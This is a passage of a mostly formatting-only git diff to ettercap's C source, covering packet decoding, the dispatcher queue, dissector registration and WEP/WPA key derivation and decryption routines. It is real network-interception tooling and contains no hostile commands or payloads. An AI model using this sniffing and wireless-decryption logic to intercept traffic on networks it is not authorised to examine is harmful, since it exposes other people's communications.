log file by two threads */ @@ -120,27 +119,27 @@ void ec_decode(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pk pcap_dump((u_char *)GBL_PCAP->dump, pkthdr, pkt); DUMP_UNLOCK; } - + /* bad packet */ if (pkthdr->caplen > UINT16_MAX) { USER_MSG("Bad packet detected, skipping...\n"); return; } - - /* - * copy the packet in a "safe" buffer + + /* + * copy the packet in a "safe" buffer * we don't want other packets after the end of the packet (as in BPF) * * also keep the buffer aligned ! * the alignment is set by the media decoder. */ memcpy(GBL_PCAP->buffer + GBL_PCAP->align, pkt, pkthdr->caplen); - + /* extract data and datalen from pcap packet */ data = (u_char *)GBL_PCAP->buffer + GBL_PCAP->align; datalen = pkthdr->caplen; - /* + /* * deal with trucated packets: * if someone has created a pcap file with the snaplen * too small we have to skip the packet (is not interesting for us) @@ -149,13 +148,13 @@ void ec_decode(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pk USER_MSG("Truncated packet detected, skipping...\n"); return; } - + /* alloc the packet object structure to be passet through decoders */ packet_create_object(&po, data, datalen); /* Be sure to NULL terminate our data buffer */ *(data + datalen) = 0; - + /* set the po timestamp */ memcpy(&po.ts, &pkthdr->ts, sizeof(struct timeval)); /* set the interface where the packet was captured */ @@ -164,17 +163,17 @@ void ec_decode(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pk else if (GBL_OPTIONS->iface_bridge && !strcmp(iface->name, GBL_OPTIONS->iface_bridge)) po.flags |= PO_FROMBRIDGE; - /* HOOK POINT: RECEIVED */ + /* HOOK POINT: RECEIVED */ hook_point(HOOK_RECEIVED, &po); - - /* + + /* * by default the packet should not be processed by ettercap. * if the sniffing filter matches it, the flag will be reset. */ po.flags |= PO_IGNORE; - - /* - * start the analysis through the decoders stack + + /* + * start the analysis through the decoders stack * * if the packet can be handled it will reach the top of the stack * where the decoder_data will add it to the top_half queue, @@ -185,13 +184,13 @@ void ec_decode(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pk packet_decoder = get_decoder(LINK_LAYER, GBL_PCAP->dlt); BUG_IF(packet_decoder == NULL); packet_decoder(data, datalen, &len, &po); - + /* special case for bridged sniffing */ if (GBL_SNIFF->type == SM_BRIDGED) { EXECUTE(GBL_SNIFF->check_forwarded, &po); EXECUTE(GBL_SNIFF->set_forwardable, &po); } - + /* XXX - BIG WARNING !! * * if the packet was filtered by the filtering engine @@ -199,16 +198,15 @@ void ec_decode(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pk * the fields in the structure may not reflect the real * packet fields... */ - + /* use the sniffing method funcion to forward the packet */ - if ( (po.flags & PO_FORWARDABLE) && !(po.flags & PO_FORWARDED) ) { - /* HOOK POINT: PRE_FORWARD */ + if ((po.flags & PO_FORWARDABLE) && !(po.flags & PO_FORWARDED)) { + /* HOOK POINT: PRE_FORWARD */ hook_point(HOOK_PRE_FORWARD, &po); EXECUTE(GBL_SNIFF->forward, &po); } - - /* + /* * dump packets to a file from another file. * this is useful when decrypting packets or applying filters * on pcapfile and we want to save the result in a file @@ -219,24 +217,24 @@ void ec_decode(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pk pcap_dump((u_char *)GBL_PCAP->dump, pkthdr, po.packet); DUMP_UNLOCK; } - - /* - * if it is the last packet set the flag + + /* + * if it is the last packet set the flag * and send the packet to the top half. - * we have to do this because the last packet + * we have to do this because the last packet * might be dropped by the filter. */ if (GBL_OPTIONS->read && GBL_PCAP->dump_size == GBL_PCAP->dump_off) { po.flags |= PO_EOF; top_half_queue_add(&po); } - + /* free the structure */ packet_destroy_object(&po); - + /* calculate the stats */ stats_half_end(&GBL_STATS->bh, pkthdr->caplen); - + CANCELLATION_POINT(); return; @@ -248,7 +246,7 @@ void __init data_init(void) add_decoder(APP_LAYER, PL_DEFAULT, decode_data); } -/* +/* * if the packet reach the top of the stack (it can be handled), * this decoder is invoked */ @@ -257,56 +255,56 @@ FUNC_DECODER(decode_data) { int proto = 0; FUNC_DECODER_PTR(app_decoder); - + CANCELLATION_POINT(); /* this packet must not be passet to dissectors */ - if ( po->flags & PO_DONT_DISSECT) + if (po->flags & PO_DONT_DISSECT) return NULL; - + /* reset the flag PO_IGNORE if the packet should be processed */ EXECUTE(GBL_SNIFF->interesting, po); - /* HOOK POINT: HANDLED */ + /* HOOK POINT: HANDLED */ hook_point(HOOK_HANDLED, po); - /* + /* * the display engine has stated that this * packet should not be processed by us. */ - if ( po->flags & PO_IGNORE ) + if (po->flags & PO_IGNORE) return NULL; - /* - * run the APP_LAYER decoders + /* + * run the APP_LAYER decoders * * we should run the decoder on both the tcp/udp ports * since we may be interested in both client and server traffic. */ - switch(po->L4.proto) { - case NL_TYPE_TCP: - proto = APP_LAYER_TCP; - break; - - case NL_TYPE_UDP: - proto = APP_LAYER_UDP; - break; + switch (po->L4.proto) { + case NL_TYPE_TCP: + proto = APP_LAYER_TCP; + break; + + case NL_TYPE_UDP: + proto = APP_LAYER_UDP; + break; } - if(proto) { + if (proto) { app_decoder = get_decoder(proto, ntohs(po->L4.src)); EXECUTE_DECODER(app_decoder); - /* - * This check prevents from running a decoder twice - */ - if(po->L4.src != po->L4.dst) { + /* + * This check prevents from running a decoder twice + */ + if (po->L4.src != po->L4.dst) { app_decoder = get_decoder(proto, ntohs(po->L4.dst)); EXECUTE_DECODER(app_decoder); } } - /* HOOK POINT: DECODED (the po structure is filled) */ + /* HOOK POINT: DECODED (the po structure is filled) */ hook_point(HOOK_DECODED, po); /* @@ -317,24 +315,23 @@ FUNC_DECODER(decode_data) /* If the modified packet exceeds the MTU split it into inject buffer */ inject_split_data(po); - - /* HOOK POINT: FILTER */ + + /* HOOK POINT: FILTER */ hook_point(HOOK_FILTER, po); - - /* + + /* * add the packet to the queue and return. * we must be fast here ! */ - top_half_queue_add(po); + top_half_queue_add(po); CANCELLATION_POINT(); - + return NULL; } - /* - * add a decoder to the decoders table + * add a decoder to the decoders table */ void add_decoder(u_int8 level, u_int32 type, FUNC_DECODER_PTR(decoder)) { @@ -344,7 +341,7 @@ void add_decoder(u_int8 level, u_int32 type, FUNC_DECODER_PTR(decoder)) DECODERS_LOCK; /* in case this is the first call and no tables are allocated */ - if(protocols_table == NULL) { + if (protocols_table == NULL) { /* the numbers are kindly provided by /usr/bin/grep and /usr/bin/wc */ SAFE_CALLOC(protocols_table, protocols_num = 19 + 52, sizeof(struct dec_entry)); } @@ -352,8 +349,8 @@ void add_decoder(u_int8 level, u_int32 type, FUNC_DECODER_PTR(decoder)) e = &protocols_table[protocols_num]; /* searching for an empty entry */ - while(e --> protocols_table) - if(e->level == 0 && e->type == 0 && e->decoder == NULL) { + while (e-- > protocols_table) + if (e->level == 0 && e->type == 0 && e->decoder == NULL) { /* We got it! */ found = true; break; @@ -363,7 +360,7 @@ void add_decoder(u_int8 level, u_int32 type, FUNC_DECODER_PTR(decoder)) * but we can allocate a little bit more, cant we? * and no kidding plz, its a serious code from now on */ - if(!found) { + if (!found) { SAFE_REALLOC(protocols_table, ++protocols_num * sizeof(struct dec_entry)); e = &protocols_table[protocols_num - 1]; } @@ -377,7 +374,7 @@ void add_decoder(u_int8 level, u_int32 type, FUNC_DECODER_PTR(decoder)) table_sorted = false; DECODERS_UNLOCK; - + return; } @@ -399,15 +396,14 @@ static int cmp_decoders(const void *va, const void *vb) * the array is sorted by level, then by the port number. */ - if (da->level != db->level) - { + if (da->level != db->level) { return da->level - db->level; } return da->type - db->type; } -static struct dec_entry* find_entry(u_int8 level, u_int32 type) +static struct dec_entry *find_entry(u_int8 level, u_int32 type) { struct dec_entry *e, fake; @@ -416,29 +412,28 @@ static struct dec_entry* find_entry(u_int8 level, u_int32 type) DECODERS_LOCK; - if(!table_sorted) + if (!table_sorted) sort_decoders(); e = bsearch(&fake, protocols_table, protocols_num, sizeof(struct dec_entry), cmp_decoders); DECODERS_UNLOCK; - + return e; } - /* - * get a decoder from the decoders table + * get a decoder from the decoders table */ -void * get_decoder(u_int8 level, u_int32 type) +void *get_decoder(u_int8 level, u_int32 type) { struct dec_entry *e; - if((e = find_entry(level, type))) - if(e->active) + if ((e = find_entry(level, type))) + if (e->active) return e->decoder; - + return NULL; } @@ -450,25 +445,23 @@ void del_decoder(u_int8 level, u_int32 type) { struct dec_entry *e; - if((e = find_entry(level, type))) { + if ((e = find_entry(level, type))) { DECODERS_LOCK; - if (e != &protocols_table[protocols_num-1]) - { - /* Replace this entry with the last one */ - memcpy(e, &protocols_table[protocols_num-1], sizeof(struct dec_entry)); + if (e != &protocols_table[protocols_num - 1]) { + /* Replace this entry with the last one */ + memcpy(e, &protocols_table[protocols_num - 1], sizeof(struct dec_entry)); } /* Resize the array */ - SAFE_REALLOC(protocols_table, --protocols_num*sizeof(struct dec_entry)); + SAFE_REALLOC(protocols_table, --protocols_num * sizeof(struct dec_entry)); /* And mark as unsorted */ table_sorted = false; DECODERS_UNLOCK; } - + return; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_dispatcher.c b/src/ec_dispatcher.c index d747e58ea..96aab9f47 100644 --- a/src/ec_dispatcher.c +++ b/src/ec_dispatcher.c @@ -1,23 +1,23 @@ /* - ettercap -- top half and dispatching module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- top half and dispatching module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,7 +25,6 @@ #include #include - /* this is the PO queue from bottom to top half */ struct po_queue_entry { struct packet_object *po; @@ -37,8 +36,8 @@ static STAILQ_HEAD(, po_queue_entry) po_queue = STAILQ_HEAD_INITIALIZER(po_queue /* global mutex on interface */ static pthread_mutex_t po_mutex = PTHREAD_MUTEX_INITIALIZER; -#define PO_QUEUE_LOCK do{ pthread_mutex_lock(&po_mutex); }while(0) -#define PO_QUEUE_UNLOCK do{ pthread_mutex_unlock(&po_mutex); }while(0) +#define PO_QUEUE_LOCK do { pthread_mutex_lock(&po_mutex); } while (0) +#define PO_QUEUE_UNLOCK do { pthread_mutex_unlock(&po_mutex); } while (0) /* proto */ @@ -50,7 +49,7 @@ EC_THREAD_FUNC(top_half); /* * top half function * it is the dispatcher for the various methods - * which need to process packet objects + * which need to process packet objects * created by the bottom_half (capture). * it read the queue created by top_half_queue_add() * and deliver the po to all the registered functions @@ -60,16 +59,16 @@ EC_THREAD_FUNC(top_half) { struct po_queue_entry *e; u_int pck_len; - + /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; /* initialize the thread */ ec_thread_init(); - + DEBUG_MSG("top_half activated !"); - /* + /* * we don't want profiles in memory. * remove the hooks and return */ @@ -80,14 +79,14 @@ EC_THREAD_FUNC(top_half) hook_del(HOOK_PROTO_DHCP_PROFILE, &profile_parse); hook_del(HOOK_DISPATCHER, &profile_parse); } - - LOOP { - + + LOOP { + CANCELLATION_POINT(); - + /* the queue is updated by other thread, lock it */ PO_QUEUE_LOCK; - + /* get the first element */ e = STAILQ_FIRST(&po_queue); @@ -97,25 +96,25 @@ EC_THREAD_FUNC(top_half) ec_usleep(1); // 1µs continue; } - + /* start the counter for the TopHalf */ stats_half_start(&GBL_STATS->th); - + /* remove the packet form the queue */ STAILQ_REMOVE_HEAD(&po_queue, e, next); - + /* update the queue stats */ stats_queue_del(); - - /* - * we have extracted the element, unlock the queue + + /* + * we have extracted the element, unlock the queue * * the bottom half MUST be very fast and it cannot * wait on the top half lock. */ PO_QUEUE_UNLOCK; - - /* + + /* * check if it is the last packet of a file... * and exit if we are in text only or demonize mode */ @@ -129,26 +128,26 @@ EC_THREAD_FUNC(top_half) continue; } } - + /* HOOK_POINT: DISPATCHER */ hook_point(HOOK_DISPATCHER, e->po); /* save the len before the free() */ pck_len = e->po->DATA.disp_len; - + /* destroy the duplicate packet object */ packet_destroy_object(e->po); SAFE_FREE(e->po); SAFE_FREE(e); - + /* start the counter for the TopHalf */ stats_half_end(&GBL_STATS->th, pck_len); - } + } return NULL; } -/* +/* * add a packet to the top half queue. * this fuction is called by the bottom half thread */ @@ -158,22 +157,20 @@ void top_half_queue_add(struct packet_object *po) struct po_queue_entry *e; SAFE_CALLOC(e, 1, sizeof(struct po_queue_entry)); - + e->po = packet_dup(po, PO_DUP_NONE); - + PO_QUEUE_LOCK; - + /* add the message to the queue */ STAILQ_INSERT_TAIL(&po_queue, e, next); - + /* update the stats */ stats_queue_add(); - + PO_QUEUE_UNLOCK; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_dissect.c b/src/ec_dissect.c index 289ca67cb..1543dffc5 100644 --- a/src/ec_dissect.c +++ b/src/ec_dissect.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -26,14 +26,14 @@ /* globals */ -static SLIST_HEAD (, dissect_entry) dissect_list; +static SLIST_HEAD(, dissect_entry) dissect_list; struct dissect_entry { char *name; u_int32 type; u_int8 level; FUNC_DECODER_PTR(decoder); - SLIST_ENTRY (dissect_entry) next; + SLIST_ENTRY(dissect_entry) next; }; /*******************************************/ @@ -52,14 +52,14 @@ int dissect_match(void *id_sess, void *id_curr) /* sanity check */ BUG_IF(ids == NULL); BUG_IF(id == NULL); - - /* + + /* * is this ident from our level ? * check the magic ! */ if (ids->magic != id->magic) return 0; - + /* check the protocol */ if (ids->L4_proto != id->L4_proto) return 0; @@ -68,20 +68,19 @@ int dissect_match(void *id_sess, void *id_curr) if (ids->L4_src == id->L4_src && ids->L4_dst == id->L4_dst && !ip_addr_cmp(&ids->L3_src, &id->L3_src) && - !ip_addr_cmp(&ids->L3_dst, &id->L3_dst) ) + !ip_addr_cmp(&ids->L3_dst, &id->L3_dst)) return 1; - + /* from dest to source */ if (ids->L4_src == id->L4_dst && ids->L4_dst == id->L4_src && !ip_addr_cmp(&ids->L3_src, &id->L3_dst) && - !ip_addr_cmp(&ids->L3_dst, &id->L3_src) ) + !ip_addr_cmp(&ids->L3_dst, &id->L3_src)) return 1; return 0; } - /* * prepare the ident and the pointer to match function * for a dissector. @@ -92,13 +91,13 @@ void dissect_create_session(struct ec_session **s, struct packet_object *po, voi void *ident; DEBUG_MSG("dissect_create_session"); - + /* allocate the session */ SAFE_CALLOC(*s, 1, sizeof(struct ec_session)); - + /* create the ident */ (*s)->ident_len = dissect_create_ident(&ident, po, code); - + /* link to the session */ (*s)->ident = ident; @@ -113,19 +112,19 @@ void dissect_create_session(struct ec_session **s, struct packet_object *po, voi size_t dissect_create_ident(void **i, struct packet_object *po, void *code) { struct dissect_ident *ident; - + /* allocate the ident for that session */ SAFE_CALLOC(ident, 1, sizeof(struct dissect_ident)); - + /* the magic number (usually the pointer for the function) */ ident->fptr = code; - + /* prepare the ident */ memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr)); memcpy(&ident->L3_dst, &po->L3.dst, sizeof(struct ip_addr)); - + ident->L4_proto = po->L4.proto; - + ident->L4_src = po->L4.src; ident->L4_dst = po->L4.dst; @@ -142,10 +141,10 @@ size_t dissect_create_ident(void **i, struct packet_object *po, void *code) void dissect_wipe_session(struct packet_object *po, void *code) { void *ident; - struct ec_session *s; + struct ec_session *s; DEBUG_MSG("dissect_wipe_session"); - + /* create an ident to retrieve the session */ dissect_create_ident(&ident, po, code); @@ -171,17 +170,17 @@ void dissect_add(char *name, u_int8 level, u_int32 port, FUNC_DECODER_PTR(decode struct dissect_entry *e; SAFE_CALLOC(e, 1, sizeof(struct dissect_entry)); - + e->name = strdup(name); e->level = level; e->type = port; e->decoder = decoder; - SLIST_INSERT_HEAD (&dissect_list, e, next); + SLIST_INSERT_HEAD(&dissect_list, e, next); /* add the default decoder */ add_decoder(level, port, decoder); - + return; } @@ -199,12 +198,12 @@ void dissect_del(char *name) SAFE_FREE(e); } } - + return; } /* - * given the name of the dissector add or remove it + * given the name of the dissector add or remove it * from the decoders' table. * is it possible to add multiple port with MODE_ADD */ @@ -214,40 +213,40 @@ int dissect_modify(int mode, char *name, u_int32 port) int level; void *decoder; - SLIST_FOREACH (e, &dissect_list, next) { + SLIST_FOREACH(e, &dissect_list, next) { if (!strcasecmp(e->name, name)) { switch (mode) { - case MODE_ADD: - DEBUG_MSG("dissect_modify: %s added on %lu", name, (unsigned long)port); - /* add in the lists */ - dissect_add(e->name, e->level, port, e->decoder); - return E_SUCCESS; - break; - case MODE_REP: - - /* save them because the dissect_del may delete this values */ - level = e->level; - decoder = e->decoder; - - /* remove all the previous istances */ - dissect_del(name); - - /* move the ssl wrapper (even if no wrapper) */ - sslw_dissect_move(name, port); - - /* a value of 0 will disable the dissector */ - if (port == 0) { - DEBUG_MSG("dissect_modify: %s disabled", name); - return E_SUCCESS; - } - - DEBUG_MSG("dissect_modify: %s replaced to %lu", name, (unsigned long)port); - - /* add the new value */ - dissect_add(name, level, port, decoder); - + case MODE_ADD: + DEBUG_MSG("dissect_modify: %s added on %lu", name, (unsigned long)port); + /* add in the lists */ + dissect_add(e->name, e->level, port, e->decoder); + return E_SUCCESS; + break; + case MODE_REP: + + /* save them because the dissect_del may delete this values */ + level = e->level; + decoder = e->decoder; + + /* remove all the previous istances */ + dissect_del(name); + + /* move the ssl wrapper (even if no wrapper) */ + sslw_dissect_move(name, port); + + /* a value of 0 will disable the dissector */ + if (port == 0) { + DEBUG_MSG("dissect_modify: %s disabled", name); return E_SUCCESS; - break; + } + + DEBUG_MSG("dissect_modify: %s replaced to %lu", name, (unsigned long)port); + + /* add the new value */ + dissect_add(name, level, port, decoder); + + return E_SUCCESS; + break; } } } @@ -257,22 +256,22 @@ int dissect_modify(int mode, char *name, u_int32 port) /* * return E_SUCCESS if the dissector is on - * the specified port + * the specified port */ int dissect_on_port(char *name, u_int16 port) { struct dissect_entry *e; - /* - * return E_SUCCESS if at least one port is bound + /* + * return E_SUCCESS if at least one port is bound * to the dissector name */ - SLIST_FOREACH (e, &dissect_list, next) { + SLIST_FOREACH(e, &dissect_list, next) { if (!strcasecmp(e->name, name) && e->type == port) { return E_SUCCESS; - } + } } - + return -E_NOTFOUND; } @@ -284,21 +283,19 @@ int dissect_on_port_level(char *name, u_int16 port, u_int8 level) { struct dissect_entry *e; - /* - * return E_SUCCESS if at least one port is bound + /* + * return E_SUCCESS if at least one port is bound * to the dissector name */ - SLIST_FOREACH (e, &dissect_list, next) { + SLIST_FOREACH(e, &dissect_list, next) { if (!strcasecmp(e->name, name) && e->type == port && e->level == level) { return E_SUCCESS; - } + } } - + return -E_NOTFOUND; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_encryption.c b/src/ec_encryption.c index 3d5056030..2daee922f 100644 --- a/src/ec_encryption.c +++ b/src/ec_encryption.c @@ -1,23 +1,23 @@ /* - ettercap -- encryption functions - - Copyright (C) The Ettercap Dev Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- encryption functions + * + * Copyright (C) The Ettercap Dev Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -72,7 +72,7 @@ int wep_decrypt(u_char *buf, size_t len, u_char *wkey, size_t wlen) /* sanity check on the key index */ if (wep->key * 5 > (int)(MAX_WKEY_LEN - wlen)) { - //DEBUG_MSG(D_VERBOSE, "WEP: invalid key index, the packet was skipped"); + // DEBUG_MSG(D_VERBOSE, "WEP: invalid key index, the packet was skipped"); return -E_NOTHANDLED; } @@ -101,7 +101,7 @@ int wep_decrypt(u_char *buf, size_t len, u_char *wkey, size_t wlen) * at the end of the packet there is a CRC check */ if (CRC_checksum(decbuf, len + WEP_CRC_LEN, CRC_INIT) != CRC_RESULT) { - //DEBUG_MSG(D_VERBOSE, "WEP decryption failed, the packet was skipped"); + // DEBUG_MSG(D_VERBOSE, "WEP decryption failed, the packet was skipped"); return -E_NOTHANDLED; } @@ -171,7 +171,6 @@ int wifi_key_prepare(char *key_string) return status; } - int set_wep_key(char *string) { int bit = 0; @@ -202,33 +201,32 @@ int set_wep_key(char *string) /* sanity check */ if (bit != 64 && bit != 128) - SEMIFATAL_ERROR("Unsupported WEP key length"); + SEMIFATAL_ERROR("Unsupported WEP key length"); /* get the type of the key */ p = ec_strtok(NULL, ":", &tok); if (p == NULL) - SEMIFATAL_ERROR("Invalid parsing of the WEP key"); + SEMIFATAL_ERROR("Invalid parsing of the WEP key"); type = *p; /* get the third part of the string */ p = ec_strtok(NULL, ":", &tok); if (p == NULL) - SEMIFATAL_ERROR("Invalid parsing of the WEP key"); + SEMIFATAL_ERROR("Invalid parsing of the WEP key"); if (type == 's') { /* escape the string and check its length */ - if (strescape((char *)tmp_wkey, p, strlen(tmp_wkey)+1) != (int)tmp_wkey_len) - SEMIFATAL_ERROR("Specified WEP key length does not match the given string"); + if (strescape((char *)tmp_wkey, p, strlen(tmp_wkey) + 1) != (int)tmp_wkey_len) + SEMIFATAL_ERROR("Specified WEP key length does not match the given string"); } else if (type == 'p') { /* create the key from the passphrase */ if (bit == 64) make_key_64((u_char *)p, tmp_wkey); else if (bit == 128) make_key_128((u_char *)p, tmp_wkey); - } else { - SEMIFATAL_ERROR("Invalid parsing of the WEP key"); + SEMIFATAL_ERROR("Invalid parsing of the WEP key"); } /* print the final string */ @@ -251,17 +249,16 @@ static void make_key_64(u_char *string, u_char *key) * seed is generated by xor'ing the keystring bytes * into the four bytes of the seed, starting at the little end */ - for(i = 0; string[i]; i++) { + for (i = 0; string[i]; i++) { seed ^= (string[i] << ((i & 0x03) * 8)); } /* generate the 4 keys from the seed */ - for(i = 0; i < 5*4; i++) { + for (i = 0; i < 5 * 4; i++) { seed *= 0x000343fd; seed += 0x00269ec3; key[i] = seed >> 16; } - } static void make_key_128(u_char *string, u_char *key) @@ -273,7 +270,7 @@ static void make_key_128(u_char *string, u_char *key) /* repeat the string until buf is full */ for (i = 0; i < 64; i++) { - if(string[j] == 0) + if (string[j] == 0) j = 0; buf[i] = string[j++]; } @@ -291,7 +288,6 @@ static void make_key_128(u_char *string, u_char *key) memcpy(key, digest, 13); } - static int set_wpa_key(char *string) { char *p; @@ -302,10 +298,10 @@ static int set_wpa_key(char *string) /* we need to generate the key */ if (!strncasecmp(string, "pwd", 3)) { - if ((p = strchr(string + + strlen("pwd") + 1, ':')) != NULL) { + if ((p = strchr(string + +strlen("pwd") + 1, ':')) != NULL) { *p = 0; } else { - SEMIFATAL_ERROR("Invalid parsing of the WPA password (missing SSID)"); + SEMIFATAL_ERROR("Invalid parsing of the WPA password (missing SSID)"); } /* the len of the password */ @@ -345,8 +341,6 @@ static int set_wpa_key(char *string) return E_SUCCESS; } - - void wpa_sess_add(u_char *sta, struct wpa_sa *sa) { struct wpa_session *e, *s; @@ -393,7 +387,6 @@ void wpa_sess_add(u_char *sta, struct wpa_sa *sa) USER_MSG("New WPA session for [%s]\n", mac_addr_ntoa(e->sta, tmp)); } - void wpa_sess_del(u_char *sta) { struct wpa_session *e, *tmp; @@ -411,7 +404,6 @@ void wpa_sess_del(u_char *sta) pthread_mutex_unlock(&root_mutex); } - int wpa_sess_get(u_char *sta, struct wpa_sa *sa) { struct wpa_session *e; @@ -457,7 +449,7 @@ int wpa_generate_PTK(u_char *bssid, u_char *sta, u_char *pmk, u_char *snonce, u_ offset += ETH_ADDR_LEN * 2; /* Min(ANonce,SNonce) || Max(ANonce,SNonce) */ - if (memcmp(snonce, anonce, WPA_NONCE_LEN) < 0 ) { + if (memcmp(snonce, anonce, WPA_NONCE_LEN) < 0) { memcpy(buff + offset, snonce, WPA_NONCE_LEN); memcpy(buff + offset + WPA_NONCE_LEN, anonce, WPA_NONCE_LEN); } else { @@ -471,18 +463,17 @@ int wpa_generate_PTK(u_char *bssid, u_char *sta, u_char *pmk, u_char *snonce, u_ memset(kck, 0, WPA_PTK_LEN); /* generate the PTK */ - for (i = 0; i < (bits + 159)/160; i++) { - buff[offset] = i; + for (i = 0; i < (bits + 159) / 160; i++) { + buff[offset] = i; - /* the buffer (ptk) is large enough (see declaration) */ - HMAC(EVP_sha1(), pmk, WPA_KEY_LEN, buff, 100, kck + i * 20, &len); + /* the buffer (ptk) is large enough (see declaration) */ + HMAC(EVP_sha1(), pmk, WPA_KEY_LEN, buff, 100, kck + i * 20, &len); } return E_SUCCESS; } - -int wpa_check_MIC(struct eapol_header *eapol, struct eapol_key_header* eapol_key, size_t eapol_len, u_char *kck, int algo) +int wpa_check_MIC(struct eapol_header *eapol, struct eapol_key_header *eapol_key, size_t eapol_len, u_char *kck, int algo) { u_char mic[WPA_MICKEY_LEN]; u_int len; @@ -495,14 +486,14 @@ int wpa_check_MIC(struct eapol_header *eapol, struct eapol_key_header* eapol_key memset(eapol_key->key_MIC, 0, WPA_MICKEY_LEN); if (algo == WPA_KEY_TKIP) { - /* use HMAC-MD5 for the EAPOL-Key MIC */ - HMAC(EVP_md5(), kck, WPA_KCK_LEN, (u_char *)eapol, eapol_len, hmac_mic, &len); + /* use HMAC-MD5 for the EAPOL-Key MIC */ + HMAC(EVP_md5(), kck, WPA_KCK_LEN, (u_char *)eapol, eapol_len, hmac_mic, &len); } else if (algo == WPA_KEY_CCMP) { - /* use HMAC-SHA1-128 for the EAPOL-Key MIC */ - HMAC(EVP_sha1(), kck, WPA_KCK_LEN, (u_char *)eapol, eapol_len, hmac_mic, &len); + /* use HMAC-SHA1-128 for the EAPOL-Key MIC */ + HMAC(EVP_sha1(), kck, WPA_KCK_LEN, (u_char *)eapol, eapol_len, hmac_mic, &len); } else - /* key descriptor version not recognized */ - return -E_INVALID; + /* key descriptor version not recognized */ + return -E_INVALID; /* restore the MIC in the EAPOL packet */ memcpy(eapol_key->key_MIC, mic, WPA_MICKEY_LEN); @@ -511,24 +502,23 @@ int wpa_check_MIC(struct eapol_header *eapol, struct eapol_key_header* eapol_key return memcmp(mic, hmac_mic, WPA_MICKEY_LEN); } - int wpa_decrypt_broadcast_key(struct eapol_key_header *eapol_key, struct rsn_ie_header *rsn_ie, struct wpa_sa *sa) { - //guint8 new_key[32]; - u_int8 *encrypted_key; + // guint8 new_key[32]; + u_int8 *encrypted_key; u_int16 key_len = 0; - //static AIRPDCAP_KEY_ITEM dummy_key; /* needed in case AirPDcapRsnaMng() wants the key structure */ + // static AIRPDCAP_KEY_ITEM dummy_key; /* needed in case AirPDcapRsnaMng() wants the key structure */ char tmp[512]; /* variable not used */ - (void) rsn_ie; + (void)rsn_ie; /* Preparation for decrypting the group key - determine group key data length */ /* depending on whether it's a TKIP or AES encryption key */ if (sa->algo == WPA_KEY_TKIP) { key_len = ntohs(eapol_key->key_len); - } else if (sa->algo == WPA_KEY_CCMP){ + } else if (sa->algo == WPA_KEY_CCMP) { key_len = ntohs(eapol_key->key_data_len); } @@ -549,74 +539,73 @@ int wpa_decrypt_broadcast_key(struct eapol_key_header *eapol_key, struct rsn_ie_ */ #if 0 - /* Build the full decryption key based on the IV and part of the pairwise key */ - memcpy(new_key, pEAPKey->key_iv, 16); - 